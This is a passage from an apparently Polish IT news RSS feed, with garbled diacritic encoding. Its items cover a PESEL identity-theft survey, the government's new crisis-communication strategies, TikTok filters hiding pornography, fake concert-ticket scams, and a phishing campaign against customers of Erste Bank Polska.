Jednoczeand#347;nieand#160;16 proc. Polakand#243;w przyznaand#322;o, and#380;e nie wiedziaand#322;oby, jak zareagowaand#263; w przypadku kradzieand#380;y lub wyand#322;udzenia numeru PESEL. W tej grupie brak wiedzy najczand#281;and#347;ciej deklarowali przedstawiciele pokolenia Z, czyli osoby w wieku 18-24 lata (40 proc.). Autorzy badania zwrand#243;cili uwagand#281;, and#380;e to ponad dwa razy wiand#281;cej niand#380; wand#347;rand#243;d seniorand#243;w powyand#380;ej 65. roku and#380;ycia, ktand#243;rych 19 proc. zadeklarowaand#322;o brak wiedzy w przypadku wystand#261;pienia incydentu. Jak podano, 27 proc. absolwentand#243;w uczelni wyand#380;szej, 26 proc. osand#243;b po szkole podstawowej lub zawodowej oraz 24 proc. respondentand#243;w po szkole and#347;redniej lub policealnej rand#243;wnieand#380; nie wiedziaand#322;oby, jak siand#281; zachowaand#263;.

To paradoksalne, bo wyniki badania pokazujand#261;, and#380;e samo obycie z technologiand#261; czy posiadanie dyplomu nie gwarantuje praktycznej wiedzy, jak chroniand#263; dane osobowe. Mand#322;odzi ludzie and#347;wietnie poruszajand#261; siand#281; w Internecie, ale czand#281;sto nie wiedzand#261;, jakie realne konsekwencje moand#380;e mieand#263; kradzieand#380; numeru PESEL i jak siand#281; wtedy zachowaand#263;. Dlatego to wand#322;aand#347;nie oni mogand#261; staand#263; siand#281; najand#322;atwiejszym celem dla cyberprzestand#281;pcand#243;w. Z kolei seniorzy ze wzgland#281;du na mniejsze umiejand#281;tnoand#347;ci cyfrowe, sand#261; zdecydowanie bardziej ostroand#380;ni and#8211; oceniand#322; ekspert serwisu ChronPESEL.pl Bartand#322;omiej Drozd, cytowany w informacji prasowej.




and#160;



Wiand#281;kszoand#347;and#263; Polakand#243;w wie, jakie kroki naleand#380;y podjand#261;and#263;, gdy PESEL zostanie skradziony.and#160;Najczand#281;and#347;ciej wskazywane dziaand#322;ania to zastrzeand#380;enie numeru w urzand#281;dzie lub w aplikacji mObywatel, a takand#380;e zgand#322;oszenie sprawy na policjand#281; (po 69 proc.). Ponad poand#322;owa badanych zadeklarowaand#322;a, and#380;e w takiej sytuacji poinformowaand#322;aby swand#243;j bank (58 proc.), a 36 proc. - zgand#322;osiand#322;oby zdarzenie do UODO. Z kolei co czwarta osoba (25 proc.) wymieniand#322;aby dokumenty toand#380;samoand#347;ci.
and#160;
Jak podano, 33 proc. Polakand#243;w zadeklarowaand#322;o, and#380;e monitorowaand#322;oby swand#243;j PESEL i historiand#281; kredytowand#261; przed wystand#261;pieniem incydentu. Zdecydowanie najczand#281;and#347;ciej na taki krok zdecydowaand#322;yby siand#281; mand#322;ode osoby z pokolenia Z (47 proc.), a takand#380;e osoby posiadajand#261;ce dyplom uczelni wyand#380;szej (42 proc.). Na przeciwlegand#322;ym biegunie znaleand#378;li siand#281; seniorzy powyand#380;ej 65. roku and#380;ycia (24 proc.) oraz badani z wyksztaand#322;ceniem and#347;rednim/policealnym (30 proc.) i podstawowym/zawodowym (29 proc.).



















Wand#347;rand#243;d obawiajand#261;cych siand#281; konsekwencji kradzieand#380;y PESEL-u,and#160;83 proc. wskazaand#322;o na ryzyko zaciand#261;gniand#281;cia kredytu lub poand#380;yczki na ich dane.and#160;Czand#281;and#347;ciej odpowiedand#378; tand#281; wybieraand#322;y kobiety (88 proc.) niand#380; mand#281;and#380;czyand#378;ni (78 proc.). Natomiastand#160;70 proc. ankietowanych obawia siand#281;, and#380;e oszuand#347;ci podszyjand#261; siand#281; pod nich, np. wysyand#322;ajand#261;c faand#322;szywe wezwania do zapand#322;aty.and#160;Boi siand#281; tego 73 proc. i 66 proc. mand#281;and#380;czyzn. Z kolei 58 proc. badanych obawia siand#281;, and#380;e skradziony PESEL zostanie sprzedany na czarnym rynku. Strach 54 proc. ankietowanych budzi moand#380;liwoand#347;and#263; zarejestrowania przez oszustand#243;w telefonu lub karty SIM na ich dane, a 43 proc. obawia siand#281; zaand#322;oand#380;enia firmy z uand#380;yciem ich PESEL-u.
Badanie and#8222;Czy Polacy bojand#261; siand#281; kradzieand#380;y numeru PESELand#8221; zostaand#322;o przeprowadzone przez Imas International na zlecenie serwisu ChronPESEL.pl i Krajowego Rejestru Dand#322;ugand#243;w w kwietniu br. technikand#261; wywiadand#243;w internetowych (CAWI) na prand#243;bie 1011 Polakand#243;w w wieku 18-74 lata.and#160;
and#160;
and#160;
and#378;rodand#322;o PAP 22 maja 2026 mbl/ pad/ ]]></description>
		</item><item>
			<title><![CDATA[ Hakerzy uderzyli w sektor energetyczny. RCB ujawnia, jak państwo odpowie na kryzys ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1710</link>
			<description><![CDATA[ Nasilenie cyberatakand#243;w, kampanii dezinformacyjnych i zagroand#380;eand#324; hybrydowych coraz mocniej wpand#322;ywa na sposand#243;b dziaand#322;ania administracji centralnej i lokalnej. Rosnand#261;ce ryzyko kryzysand#243;w oznacza potrzeband#281; dostosowania procedur komunikacyjnych, ktand#243;re pomogand#261; instytucjom szybciej reagowaand#263;, ograniczaand#263; chaos informacyjny i skuteczniej docieraand#263; z przekazem do obywateli. Rzand#261;dowe Centrum Bezpieczeand#324;stwa przygotowaand#322;o dwa nowe dokumenty - Strategiand#281; Komunikacji Ryzyka oraz Strategiand#281; Komunikacji Kryzysowej, ktand#243;re majand#261; pomand#243;c urzand#281;dom, samorzand#261;dom i firmom dostosowaand#263; siand#281; do zmian.



and#160;




and#160;

fot. Rawpixel.com /and#160;/and#160;Shutterstock


and#160;
 -and#160;Kiedyand#347; myand#347;leliand#347;my oand#160;kryzysach wyand#322;and#261;cznie na pand#322;aszczyand#378;nie naturalnej: oand#160;poand#380;arach, burzach czy powodziach. Teraz to and#347;rodowisko dynamicznie siand#281; zmienia. Pojawiajand#261; siand#281; dziaand#322;ania dezinformacyjne i hybrydowe, ktand#243;re sand#261; wielopand#322;aszczyznowe, dotyczand#261; wielu resortand#243;w i majand#261; wiele etapand#243;w - podkreand#347;la w rozmowie z agencjand#261; Newseria Piotr Band#322;aszczyk, rzecznik Rzand#261;dowego Centrum Bezpieczeand#324;stwa.



and#160;



Z danych Ministerstwa Cyfryzacji wynika, and#380;e wand#160;2025 roku zespoand#322;y CSIRT poziomu krajowego otrzymaand#322;y 682,2 tys. zgand#322;oszeand#324; zagroand#380;eand#324; cyberbezpieczeand#324;stwa, a liczba obsand#322;uand#380;onych incydentand#243;w siand#281;gnand#281;and#322;a 272,9 tys., czyli oand#160;144 proc. wiand#281;cej niand#380; rok wczeand#347;niej. CERT Polska zarejestrowaand#322; 260,8 tys. incydentand#243;w cyberbezpieczeand#324;stwa, zand#160;czego 97 proc. stanowiand#322;y oszustwa komputerowe - gand#322;and#243;wnie phishing iand#160;prand#243;by wyand#322;udzania danych. W 2025 roku eksperci CERT Polska dodali do Listy Ostrzeand#380;eand#324; blisko 250 tys. zand#322;oand#347;liwych domen, czyli and#347;rednio ok. 680 dziennie.
and#160;
Coraz wiand#281;cej incydentand#243;w dotyczy rand#243;wnieand#380; infrastruktury krytycznej. Takie zdarzenie odnotowano pod koniec 2025 roku, kiedy CERT Polska poinformowaand#322; oand#160;skoordynowanych dziaand#322;aniach wymierzonych wand#160;sektor energetyczny. Dotknand#281;and#322;y one m.in. farmy wiatrowe, instalacje fotowoltaiczne iand#160;przedsiand#281;biorstwa infrastrukturalne.
- Jestem zwolennikiem tezy, and#380;e skuteczna komunikacja potrafi uratowaand#263; czyjeand#347; and#380;ycie, wpand#322;ynand#261;and#263; na bezpieczeand#324;stwo i decydowaand#263; o byand#263; albo nie byand#263; obywatela. Nasze strategie pomagajand#261; spiand#261;and#263; tand#281; komunikacjand#281;, ktand#243;ra jest czand#281;and#347;ciowo rozproszona - mand#243;wi Piotr Band#322;aszczyk. - Strategia Komunikacji Ryzyka i Strategia Komunikacji Kryzysowej to dwa powiand#261;zane ze soband#261;, komplementarne dokumenty, ktand#243;re w RCB stworzyliand#347;my w ramach projektu Track 1 wspand#243;and#322;finansowanego przez Uniand#281; Europejskand#261;
Strategia Komunikacji Ryzyka koncentruje siand#281; na dziaand#322;aniach prowadzonych jeszcze przed wystand#261;pieniem zagroand#380;enia, takich jak edukacja spoand#322;eczna, kampanie informacyjne czy przygotowanie procedur dotyczand#261;cych m.in. cyberatakand#243;w, awarii infrastruktury krytycznej iand#160;dziaand#322;aand#324; dezinformacyjnych. Autorzy dokumentu wskazujand#261;, and#380;e ma on stworzyand#263; wspand#243;lny system informowania oand#160;zagroand#380;eniach na poziomie caand#322;ego kraju - czytelny dlaand#160;obywateli iand#160;and#322;atwy do wykorzystania przezand#160;rand#243;and#380;ne instytucje publiczne. Na podstawie strategii wand#322;asne procedury komunikacyjne majand#261; przygotowywaand#263; ministerstwa, urzand#281;dy wojewand#243;dzkie iand#160;inne instytucje publiczne.
- Chodzi oand#160;to, and#380;eby kaand#380;dy zand#160;nas wiedziaand#322;, jak siand#281; zachowaand#263; wand#160;okreand#347;lonej sytuacji, jeand#380;eli kryzys nadejdzie, co zrobiand#263;, and#380;eby ograniczyand#263; jego negatywne skutki - wyjaand#347;nia rzecznik RCB.
Autorzy dokumentu podkreand#347;lajand#261;, and#380;e komunikacja oand#160;zagroand#380;eniach ma przygotowywaand#263; obywateli do reagowania, ale jednoczeand#347;nie ma ostrzegaand#263;, a nieand#160;straszyand#263;.
Drugi dokument to Strategia Komunikacji Kryzysowej, ktand#243;ra dotyczy wszystkiego, co nastand#281;puje po wystand#261;pieniu kryzysu: zarand#243;wno czasu bezpoand#347;rednio po wystand#261;pieniu, jak iand#160;caand#322;ego procesu komunikacji kryzysu - wskazuje Piotr Band#322;aszczyk. -and#160;Te dwa dokumenty to praktyczne narzand#281;dzia, ktand#243;re kaand#380;de zand#160;ministerstw iand#160;wojewand#243;dztw moand#380;e wykorzystaand#263; na wand#322;asne potrzeby. To sand#261; poradniki, jak stworzyand#263; wand#322;asnand#261; strategiand#281; wand#160;danym resorcie na wand#322;aand#347;ciwym szczeblu albo wand#160;sektorze prywatnym, and#380;eby komunikacja byand#322;a prostsza, spand#243;jniejsza iand#160;sprawniej docieraand#322;a do naszych odbiorcand#243;w.  





Obowiand#261;zkowe wytyczne dla ministerstw, samorzand#261;dand#243;w i biznesu
Jak podkreand#347;la, sprzeczne komunikaty rand#243;and#380;nych instytucji mogand#261; prowadziand#263; do chaosu, dezorientacji iand#160;spadku zaufania spoand#322;ecznego. Strategia porzand#261;dkuje dziaand#322;ania informacyjne wand#160;sytuacjach, gdy liczy siand#281; czas, wystand#281;pujand#261; silne emocje, wrand#281;cz panika, iand#160;gdy szybki przepand#322;yw informacji moand#380;e bezpoand#347;rednioand#160;wpand#322;ywaand#263; na bezpieczeand#324;stwo obywateli.
-and#160;Kiedy mamy szybkand#261; reakcjand#281; wand#322;adz, szybkie, sprawdzone informacje iand#160;brak chaosu komunikacyjnego, ludnoand#347;and#263; moand#380;e mieand#263; pewnoand#347;and#263;, and#380;e paand#324;stwo dziaand#322;a iand#160;wszystko jest pod kontroland#261;. Ludzie wiedzand#261;, jakie sand#261; konkretne nastand#281;pne kroki na rand#243;and#380;nych poziomach: centralnym, wojewand#243;dzkim, samorzand#261;dowym orazand#160;jakich informacji mogand#261; oczekiwaand#263; od sand#322;uand#380;band#160;- tand#322;umaczy Luiza Jurgiel-and#379;yand#322;a, rzeczniczka wojewody mazowieckiego.
Strategie zakand#322;adajand#261; and#347;cisand#322;and#261; wspand#243;and#322;pracand#281; administracji lokalnej ze sand#322;uand#380;bami orazand#160;instytucjami odpowiedzialnymi za zarzand#261;dzanie kryzysowe.
-and#160;W sytuacji kryzysowej samorzand#261;d jest najbliand#380;szym centrum informacji dlaand#160;obywateli. Jeand#347;li odpowiednio przygotuje siand#281; na kryzys iand#160;band#281;dzie szybko iand#160;wand#322;aand#347;ciwie wspand#243;and#322;pracowaand#322; ze sand#322;uand#380;bami czy zand#160;urzand#281;dem wojewand#243;dzkim, to pomoand#380;e zredukowaand#263; stres, chaos iand#160;poziom dezinformacji wokand#243;and#322; sytuacji kryzysowejand#160;- ocenia Luiza Jurgiel-and#379;yand#322;a.





Jak podkreand#347;lono wand#160;strategiach, do przekazywania informacji zalecane jest wykorzystanie zarand#243;wno kanaand#322;and#243;w cyfrowych, jak iand#160;tradycyjnych, m.in. radia, telewizji, SMS-and#243;w iand#160;komunikatand#243;w lokalnych. W dokumentach przewidziano rand#243;wnieand#380; regularne and#263;wiczenia iand#160;szkolenia dlaand#160;rzecznikand#243;w prasowych orazand#160;osand#243;b odpowiedzialnych za komunikacjand#281; kryzysowand#261;, dotyczand#261;ce m.in. reagowania na dezinformacjand#281; iand#160;wspand#243;and#322;pracy miand#281;dzy instytucjami.
Strategia Komunikacji Ryzyka iand#160;Strategia Komunikacji Kryzysowej majand#261; charakter praktycznych wzorand#243;w, ktand#243;re instytucje mogand#261; dostosowywaand#263; do wand#322;asnych procedur, rodzaju zagroand#380;eand#324; iand#160;codziennej pracy administracji. Mogand#261; one takand#380;e byand#263; wykorzystywane przezand#160;sektor prywatny, szczegand#243;lnie wand#160;branand#380;ach zwiand#261;zanych zand#160;bezpieczeand#324;stwem infrastruktury iand#160;usand#322;ug publicznych. W strategiach jako przykand#322;ady wskazano m.in. sektor energetyczny, wodno-kanalizacyjny, transportowy, zdrowotny, spoand#380;ywczy iand#160;technologiczny.
-and#160;To dokumenty zawierajand#261;ce wiele uniwersalnych elementand#243;w, zand#160;ktand#243;rych moand#380;e korzystaand#263; zarand#243;wno biznes, jak iand#160;sektor publiczny czy akademicki. W momencie kiedy przyjdzie kryzys, zwykle juand#380; jest zbyt pand#243;and#378;no, and#380;eby budowaand#263; zaufanie iand#160;relacje - mand#243;wi Karolina and#321;uczak, prezeska Polskiego Stowarzyszenia Public Relations. -and#160;and#379;yjemy wand#160;trudnych czasach, czasach duand#380;ych zmian. Taka strategia to podstawowy dokument dlaand#160;osand#243;b zajmujand#261;cych siand#281; komunikacjand#261;. Warto siand#281;gnand#261;and#263; po juand#380; przygotowane dokumenty iand#160;na ich podstawie tworzyand#263; wand#322;asne rozwiand#261;zania dopasowane do organizacji. To powinna byand#263; podstawowa polityka dziaand#322;ania wand#160;momencie, kiedy kryzys rzeczywiand#347;cie siand#281; pojawi.
RCB zapowiada dalsze dziaand#322;ania zwiand#261;zane ze szkoleniami z komunikacji kryzysowej oraz przygotowaniem obywateli do reagowania na zagroand#380;enia i korzystania z wiarygodnych and#378;rand#243;deand#322; informacji.

















Wand#160;ramach tego projektu chcemy stworzyand#263; komplementarnand#261; bazand#281; wiedzy oand#160;zagroand#380;eniach, and#380;eby kaand#380;dy zand#160;obywateli mand#243;gand#322; sprawdziand#263;, czy jest wand#160;obszarze zagroand#380;enia wand#160;okreand#347;lonej sytuacji iand#160;jak siand#281; zachowaand#263;, kiedy ona nastand#261;pi - zapowiada Piotr Band#322;aszczyk.
and#160;

and#378;rodand#322;o newseria.pl 22 maja 2026 ]]></description>
		</item><item>
			<title><![CDATA[ Horror na TikToku. Twarda pornografia ukryta pod filtrami z kapibarą i bajkami ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1709</link>
			<description><![CDATA[ Na TikToku pojawiand#322;y siand#281; filtry zawierajand#261;ce twarde treand#347;ci pornograficzne ukryte pod niewinnymi nazwami and#8211; alarmuje KidsAlert. Organizacja podkreand#347;la, and#380;e o zagroand#380;eniu informujand#261; przede wszystkim same dzieci, publikujand#261;ce w sieci listy niebezpiecznych efektand#243;w.
and#160;




and#160;

fot. SewCream /and#160;/and#160;Shutterstock


Organizacja KidsAlert wystosowaand#322;a ostrzeand#380;enie dla rodzicand#243;w oraz przesand#322;aand#322;a sand#322;uand#380;bom raport dotyczand#261;cy filtrand#243;w dostand#281;pnych na TikToku, ktand#243;re and#8211; wedand#322;ug autorand#243;w opracowania and#8211; mogand#261; prowadziand#263; do przypadkowej ekspozycji dzieci i mand#322;odzieand#380;y na treand#347;ci seksualne i pornograficzne. Autorzy materiaand#322;u podkreand#347;lajand#261;, and#380;e publikacja ma charakter ostrzegawczy, edukacyjny i profilaktyczny.



and#160;



W raporcie and#8222;04/2026and#8221; opisano mechanizm polegajand#261;cy na ukrywaniu treand#347;ci erotycznych, pornograficznych lub obscenicznych pod pozornie niewinnymi filtrami i efektami graficznymi. Jak wskazano, uand#380;ytkownik moand#380;e zobaczyand#263; w bibliotece efektand#243;w grafikand#281; przedstawiajand#261;cand#261; np. zwierzand#281;, telefon, ciastko, kreskand#243;wkowand#261; postaand#263; lub motyw anime, a po klikniand#281;ciu zostaand#263; przekierowany do materiaand#322;and#243;w przeznaczonych dla dorosand#322;ych.
and#160;
and#8222;Dziecko nie musi szukaand#263; pornografii. Moand#380;e kliknand#261;and#263; w filtr, ktand#243;ry wygland#261;da jak zabawaand#8221; and#8211; napisano w opracowaniu.
Wedand#322;ug KidsAlert zjawisko zaczyna funkcjonowaand#263; w polskojand#281;zycznym TikToku jako rozpoznawalny trend okreand#347;lany m.in. nazwami and#8222;ZB filtrand#8221;, and#8222;filtry ZBand#8221; lub and#8222;ZB filtersand#8221;. Organizacja podkreand#347;liand#322;a, and#380;e wokand#243;and#322; materiaand#322;and#243;w powstajand#261; komentarze, ostrzeand#380;enia i udostand#281;pnienia publikowane gand#322;and#243;wnie przez dzieci i nastolatkand#243;w. W aplikacji krand#261;and#380;and#261; filmiki, w ktand#243;rych najmand#322;odsi uand#380;ytkownicy publikujand#261; listy niebezpiecznych filtrand#243;w z podpisami. "Nie klikajcie w te filtryand#8221; and#8211; wskazano.



















Autorzy dokumentu zaznaczajand#261;, and#380;e problem nie dotyczy pojedynczego filmu lub konta, lecz mechanizmu opartego na ciekawoand#347;ci uand#380;ytkownikand#243;w i wiralowym charakterze treand#347;ci. W materiale opisano przypadki filtrand#243;w wykorzystujand#261;cych motywy zwierzand#261;t, bajkowych postaci, sportu czy estetyki anime jako and#8222;osand#322;onyand#8221; dla materiaand#322;and#243;w seksualnych.
and#160;
Wand#347;rand#243;d nazw filtrand#243;w zgand#322;aszanych przez uand#380;ytkownikand#243;w wymieniono m.in. and#8222;Bunnyand#8221;, and#8222;Flip phoneand#8221;, and#8222;Mushroomand#8221;, and#8222;Duckand#8221;, and#8222;Cute cookie filterand#8221; czy and#8222;Capibara happy biciand#8221;. KidsAlert podkreand#347;liand#322; jednak, and#380;e lista stale siand#281; zmienia, a nowe warianty pojawiajand#261; siand#281; regularnie. Organizacja wskazuje, and#380;e podobne zjawisko dokumentowaand#322;a juand#380; w 2024 r. Wedand#322;ug autorand#243;w raportu czand#281;and#347;and#263; zgand#322;aszanych efektand#243;w byand#322;a usuwana, jednak w ich miejsce pojawiaand#322;y siand#281; kolejne.
KidsAlert zwrand#243;ciand#322; uwagand#281;, and#380;e z TikToka korzysta w Polsce okoand#322;o 1,5 mln dzieci w wieku od 7 do 13 lat, a algorytm platformy moand#380;e rekomendowaand#263; podobne treand#347;ci uand#380;ytkownikom, ktand#243;rzy weszli wczeand#347;niej w interakcjand#281; z materiaand#322;ami lub komentarzami zwiand#261;zanymi z trendem.
Cytowana w materiale seksuoloand#380;ka Katarzyna Kierzek oceniand#322;a, and#380;e kontakt dzieci z brutalnand#261; pornografiand#261; moand#380;e negatywnie wpand#322;ywaand#263; na rozwand#243;j psychoseksualny, obraz relacji i granic oraz wywoand#322;ywaand#263; silne napiand#281;cie emocjonalne.
and#160;





KidsAlert wezwaand#322; TikToka do usuniand#281;cia zgand#322;oszonych filtrand#243;w, wdroand#380;enia skuteczniejszej weryfikacji efektand#243;w AR przed publikacjand#261; oraz ograniczeand#324; wiekowych w dostand#281;pie do biblioteki filtrand#243;w. Organizacja apeluje takand#380;e do Urzand#281;du Ochrony Danych Osobowych oraz Urzand#281;du Komunikacji Elektronicznej o podjand#281;cie dziaand#322;aand#324; wyjaand#347;niajand#261;cych.
W raporcie przypomniano rand#243;wnieand#380; o wczeand#347;niejszych dziaand#322;aniach zagranicznych regulatorand#243;w wobec TikToka, m.in. karze 345 mln euro naand#322;oand#380;onej przez irlandzki organ ochrony danych za naruszenia dotyczand#261;ce prywatnoand#347;ci nieletnich oraz postand#281;powaniach prowadzonych wobec platformy w USA i UE.
KidsAlert podkreand#347;liand#322;, and#380;e raport nie sand#322;uand#380;y promowaniu ani rozpowszechnianiu podobnych treand#347;ci. and#8222;Celem materiaand#322;u jest pokazanie mechanizmu, dziand#281;ki ktand#243;remu nieletni mogand#261; przypadkowo trafiaand#263; na treand#347;ci seksualne ukryte pod pozornie niewinnymi filtramiand#8221; and#8211; zaznaczono. Autorem raportu jest and#321;ukasz Mituand#322;a z KidsAlert. Organizacja poinformowaand#322;a, and#380;e dokument powstaand#322; na podstawie obserwacji otwartych and#378;rand#243;deand#322; internetowych i ma charakter edukacyjny oraz profilaktyczny.and#160;
and#160;
and#160;
and#378;rodand#322;o PAP 21 maja 2026and#160; mir/ kcz/ ]]></description>
		</item><item>
			<title><![CDATA[ Fałszywe bilety na Metallikę. Oszuści znów wykorzystali emocje fanów ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1708</link>
			<description><![CDATA[ Po koncercie Metalliki w Chorzowie w sieci pojawiand#322;y siand#281; relacje osand#243;b oszukanych przy zakupie biletand#243;w z drugiej rand#281;ki. Czand#281;and#347;and#263; fanand#243;w skarand#380;yand#322;a siand#281; teand#380; na problemy z aplikacjand#261; Ticketmaster przy bramkach.
and#160;




and#160;

fot. A.RICARDO /and#160;/and#160;Shutterstock


Metallica zagraand#322;a 19 maja 2026 r. na Stadionie and#346;land#261;skim w Chorzowie. To byand#322; jeden z najwiand#281;kszych koncertand#243;w roku w Polsce, a przy takich wydarzeniach niemal zawsze pojawia siand#281; ten sam problem: bilety szybko znikajand#261; z oficjalnej sprzedaand#380;y, a fani zaczynajand#261; nerwowo szukaand#263; wejand#347;ciand#243;wek w mediach spoand#322;ecznoand#347;ciowych i serwisach ogand#322;oszeniowych.







and#160;







To idealne and#347;rodowisko dla oszustand#243;w. Po koncercie w sieci pojawiand#322;y siand#281; wpisy osand#243;b, ktand#243;re kupiand#322;y bilety poza oficjalnand#261; dystrybucjand#261; i nie zostaand#322;y wpuszczone na wydarzenie. Pojawiaand#322;y siand#281; teand#380; ostrzeand#380;enia przed faand#322;szywymi stronami i plikami PDF udajand#261;cymi prawdziwe wejand#347;ciand#243;wki. Skali zjawiska nie da siand#281; dziand#347; wiarygodnie potwierdziand#263;, ale sam schemat jest dobrze znany.
and#160;
Jak dziaand#322;a oszustwo?
Oszust odpowiada na ogand#322;oszenie osoby szukajand#261;cej biletu albo sam publikuje atrakcyjnand#261; ofertand#281;. Cena bywa niand#380;sza od rynkowej, ale nie zawsze and#8211; czasem chodzi o pozory wiarygodnoand#347;ci, a nie okazjand#281;. Sprzedajand#261;cy wysyand#322;a zrzut ekranu, PDF, potwierdzenie zakupu albo link do strony przypominajand#261;cej znany serwis biletowy. Kupujand#261;cy dziaand#322;a pod presjand#261; czasu, bo koncert jest blisko, a bilety dawno siand#281; rozeszand#322;y. Po przelewie kontakt siand#281; urywa albo przy wejand#347;ciu okazuje siand#281;, and#380;e dokument nie dziaand#322;a.
Jak podaje NASK w poradniku dotyczand#261;cym faand#322;szywych wejand#347;ciand#243;wek, oszuand#347;ci bazujand#261; na emocjach, poand#347;piechu i atrakcyjnej cenie. Instytucja zwraca teand#380; uwagand#281; na faand#322;szywe strony sprzedaand#380;owe, ktand#243;re wygland#261;dajand#261; jak prawdziwe serwisy, ale po pand#322;atnoand#347;ci kupujand#261;cy nie dostaje waand#380;nego biletu. Przed oszustwami biletowymi realizowanymi przez faand#322;szywe strony i media spoand#322;ecznoand#347;ciowe ostrzegaand#322; rand#243;wnieand#380; CERT Polska.



















PDF i screen to nie bilet
W przypadku biletand#243;w mobilnych szczegand#243;lnie podejrzane powinny byand#263; PDF-y, wydruki i zrzuty ekranu. Ticketmaster wprost podaje, and#380;e zrzut ekranu biletu mobilnego nie uprawnia do udziaand#322;u w wydarzeniu, a samego biletu nie moand#380;na teand#380; uand#380;yand#263; w formie wydruku. Naleand#380;y pokazaand#263; go przy wejand#347;ciu na wand#322;asnym urzand#261;dzeniu.
To waand#380;ne w kontekand#347;cie drugiego wand#261;tku po koncercie. Czand#281;and#347;and#263; uczestnikand#243;w skarand#380;yand#322;a siand#281;, and#380;e przed wejand#347;ciem aplikacja Ticketmaster dziaand#322;aand#322;a niestabilnie albo przestawaand#322;a siand#281; and#322;adowaand#263;. Dla osand#243;b, ktand#243;re kupiand#322;y bilety legalnie, mogand#322;o to oznaczaand#263; realny problem przy bramkach, a wczeand#347;niej wykonany screen sprawy nie rozwiand#261;zywaand#322;, bo regulaminowo nie powinien byand#263; podstawand#261; wejand#347;cia.
W praktyce kupujand#261;cy jest w trudnej sytuacji. Z jednej strony ma unikaand#263; PDF-and#243;w, screenand#243;w i wydrukand#243;w, bo te mogand#261; byand#263; faand#322;szywe lub niewaand#380;ne. Z drugiej and#8211; caand#322;y proces wejand#347;cia zaleand#380;y od aplikacji, telefonu, zasiand#281;gu i systemu przy bramkach. Gdy coand#347; zawodzi, pojawia siand#281; chaos, ktand#243;ry zawsze pomaga oszustom. Mogand#261; wtedy przekonywaand#263;, and#380;e and#8222;PDF band#281;dzie prostszyand#8221; albo and#380;e and#8222;screen wystarczyand#8221;.
and#160;
Kiedy odsprzedaand#380; jest legalna?
Nie kaand#380;dy bilet odsprzedawany przez innand#261; osoband#281; jest faand#322;szywy. Ticketmaster udostand#281;pnia Ticket Transfer, czyli funkcjand#281; przekazywania biletand#243;w miand#281;dzy kontami zarejestrowanych uand#380;ytkownikand#243;w. Dziaand#322;a teand#380; Ticketmaster Resale and#8211; oficjalna odsprzedaand#380;, o ile organizator danego wydarzenia na niand#261; pozwala. To zasadnicza rand#243;and#380;nica: czym innym jest bilet przyjand#281;ty na wand#322;asne konto w oficjalnym systemie, a czym innym PDF lub screen przesand#322;any przez obcand#261; osoband#281; w komunikatorze.





Jak nie daand#263; siand#281; oszukaand#263;?
Najprostsza zasada brzmi brutalnie, ale skutecznie: nie kupuj biletu na duand#380;y koncert od przypadkowej osoby, ktand#243;ra wysyand#322;a PDF-a, screen albo link do and#8222;alternatywnejand#8221; strony pand#322;atnoand#347;ci. Jeand#380;eli sprzedajand#261;cy naciska na szybki przelew, pand#322;atnoand#347;and#263; Blikiem na telefon albo rozmowand#281; poza oficjalnand#261; platformand#261;, ryzyko roand#347;nie.
Przed duand#380;ym wydarzeniem warto teand#380; przygotowaand#263; siand#281; technicznie. Zalogowaand#263; siand#281; wczeand#347;niej do aplikacji, sprawdziand#263;, czy bilet jest widoczny na koncie, naand#322;adowaand#263; telefon i nie zostawiaand#263; pierwszego otwarcia biletu na moment, gdy stoi siand#281; juand#380; w tand#322;umie pod bramkand#261;.
and#160;
Co zrobiand#263; po oszustwie?
Osoba, ktand#243;ra zapand#322;aciand#322;a za podejrzany bilet, powinna zachowaand#263; caand#322;and#261; korespondencjand#281;, potwierdzenie pand#322;atnoand#347;ci, link do ogand#322;oszenia, numer telefonu, adres e-mail i dane rachunku odbiorcy. Sprawand#281; warto zgand#322;osiand#263; policji. Jeand#347;li pand#322;atnoand#347;and#263; byand#322;a kartand#261;, moand#380;na skontaktowaand#263; siand#281; z bankiem i zapytaand#263; o moand#380;liwoand#347;and#263; uruchomienia procedury chargeback. W przypadku faand#322;szywej strony lub prand#243;by wyand#322;udzenia danych zgand#322;oszenie moand#380;na przekazaand#263; rand#243;wnieand#380; do CERT Polska.
and#160;
and#378;rodand#322;o Bankier.pl 20 maja 2026 ]]></description>
		</item><item>
			<title><![CDATA[ Santander zmienił się w Erste. Oszuści już to wykorzystują ]]></title>
			<link>http://www.mv-it.pl/aktualnosci/1707</link>
			<description><![CDATA[ Santander Bank Polska dziaand#322;a juand#380; jako Erste Bank Polska. Bank ostrzegaand#322;, and#380;e przy takiej zmianie oszuand#347;ci mogand#261; prand#243;bowaand#263; wyand#322;udzaand#263; dane klientand#243;w. I wand#322;aand#347;nie ten scenariusz zaczand#261;and#322; siand#281; materializowaand#263;. Do tego dochodzand#261; faand#322;szywe aplikacje z Google Play i SMS-y o mandatach z mObywatela.




and#160;

/and#160;CERT orange


Santander Bank Polska od 24 kwietnia 2026 roku dziaand#322;a pod markand#261; Erste Bank Polska. Dla klientand#243;w zmiana byand#322;a jedynie formalna and#8211; nie zmieniand#322;y siand#281; numery kont, umowy, dane logowania ani sposand#243;b autoryzacji. Zmiana objand#281;and#322;a w zasadzie aplikacjand#281;, nazwand#281; i logo. Bank wyraand#378;nie podkreand#347;laand#322;, and#380;e nie wysyand#322;a maili ani SMS-and#243;w z linkami, nie prosi o instalowanie dodatkowych aplikacji, aktualizacjand#281; bezpieczeand#324;stwa ani potwierdzanie loginu, PIN-u czy numeru karty.



and#160;



CERT Orange Polska opisaand#322; kampaniand#281; phishingowand#261; wymierzonand#261; w klientand#243;w Erste Bank Polska. Atak zaczynaand#322; siand#281; od reklamy na Facebooku. Uand#380;ytkownik po klikniand#281;ciu trafiaand#322; na stronand#281;, ktand#243;ra nie miaand#322;a nic wspand#243;lnego z bankiem, ale obiecywaand#322;a and#8222;specjalnand#261; ofertand#281;and#8221; i 1200 zand#322; za aktywacjand#281; aplikacji mobilnej. Dalej pojawiaand#322;a siand#281; proand#347;ba o login, hasand#322;o, a nastand#281;pnie kod SMS. Taki zestaw danych moand#380;e wystarczyand#263; do przejand#281;cia konta.
and#160;
